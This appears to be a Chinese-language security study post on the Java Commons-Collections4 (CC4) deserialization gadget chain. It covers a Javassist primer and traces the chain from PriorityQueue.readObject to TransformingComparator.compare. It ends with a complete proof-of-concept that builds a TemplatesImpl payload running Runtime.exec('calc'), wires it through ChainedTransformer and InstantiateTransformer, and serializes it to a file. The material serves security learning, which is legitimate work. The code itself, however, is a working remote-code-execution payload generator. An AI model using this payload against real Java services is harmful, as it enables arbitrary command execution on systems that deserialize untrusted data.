版本依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--commons-collections4-->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

<!--javassist-->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

前置知识

Javassist

Javassist是一个用来处理Java字节码的类库

导入依赖:

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

Javassist类

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.assass1n.cclearn;

import javassist.*;

public class javassist {
public static void CreateFunction() throws Exception{
//获取类池
ClassPool classPool= ClassPool.getDefault();

//创建一个ClassTest类
CtClass classTest = classPool.makeClass("ClassTest");

//添加一个name属性
CtField name = new CtField(classPool.get("java.lang.String"), "name", classTest);
name.setModifiers(Modifier.PUBLIC);
classTest.addField(name,CtField.Initializer.constant("test"));

//生成getter setter
classTest.addMethod(CtNewMethod.setter("setName",name));
classTest.addMethod(CtNewMethod.getter("getName",name));

//添加无参构造
CtConstructor cons = new CtConstructor(new CtClass[]{}, classTest);
cons.setBody("{name=\"123\";}");
classTest.addConstructor(cons);

//添加有参构造
CtConstructor consParam = new CtConstructor(new CtClass[]{classPool.get("java.lang.String")}, classTest);
//$0=this $1,$2...为方法参数
consParam.setBody("{$0.name=$1;}");
classTest.addConstructor(consParam);

//创建一个名为 printName 的方法,无参数,无返回值,输出 name 值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, classTest);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
classTest.addMethod(ctMethod);

// 指定输出 .class 文件的路径
classTest.writeFile("./src/main/java/");
}

public static void main(String[] args) throws Exception {
CreateFunction();
}
}

ClassPool

ClassPool 是 CtClass 对象的容器,按需来读取类文件来构造 CtClass 对象,并保存 CtClass 对象以便以后使用

主要方法:

1
2
3
4
5
getDefault:获取默认的 ClassPool 对象。
get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。
makeClass:创建一个新的 CtClass 对象,用于新增类。
insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。
toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。

原理

CC2+CC3结合体
后半段是CC3拼接的,利用transformer执行代码
commons-collections4TransformingComparator类实现了序列化接口


分析

这条链主要利用了TransformingComparator中的compare()方法
TransformingComparator.compare()

继续往前跟进,PriorityQueue.siftDownUsingComparator()中调用了compare()
PriorityQueue.siftDownUsingComparator()
往前跟进,PriorityQueue.siftDown()调用了siftDownUsingComparator()
PriorityQueue.siftDown()
往前跟进,PriorityQueue.heapify()调用了siftDown()
PriorityQueue.heapify()
往前跟进发现PriorityQueue.readObject()
PriorityQueue.readObject()


构造

因为PriorityQueue是可以序列化的,所以这里可以直接new

1
2
3
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

这样构造了之后还是不能序列化的,调试一下发现这里没有进入siftDown(),没有满足条件
PriorityQueue.heapify()
所以我们构造的时候让size为2即可
有两种方法

  • 直接构造size为2(暴力,报错)size为在优先队列中添加元素,直接改序列化时会报错
1
2
3
4
Class priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);
  • 用该类自带的 add 给 size 传值
1
2
priorityQueue.add(1);
priorityQueue.add(2);

跟进一下add
PriorityQueue.add()
offer 方法每被调用一次,size 都会在原来的基础上加 1
PriorityQueue.offer()
根据前面一直调用可以调用到siftUp(),这个siftUp()和前面siftDown()逻辑差不多
PriorityQueue.siftUp()
所以在 add 时会提前调用 comparator.compare(),这里就和URLDNS那条链的逻辑一样,所以需要调用 add 后再给comparator赋值


POC

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package org.assass1n.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4LearnApplication {
public static void main(String[] args) throws Exception{
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections444444444444444");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"aaa");

Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
// byte[] code = Files.readAllBytes(Paths.get("E:\\WebSecurity\\JavaSecurity\\ClassLoader\\target\\classes\\org\\assass1n\\classloader\\Person.class"));
byte[][] codes = {bytes};
_bytecodes.set(templates,codes);

// Field _tfactory = c.getDeclaredField("_tfactory");
// _tfactory.setAccessible(true);
// _tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();

// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class},
new Object[] {templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

//重新给comparator赋值
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformer = transformingComparatorClass.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
// unserialize("ser4.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return null;
}
}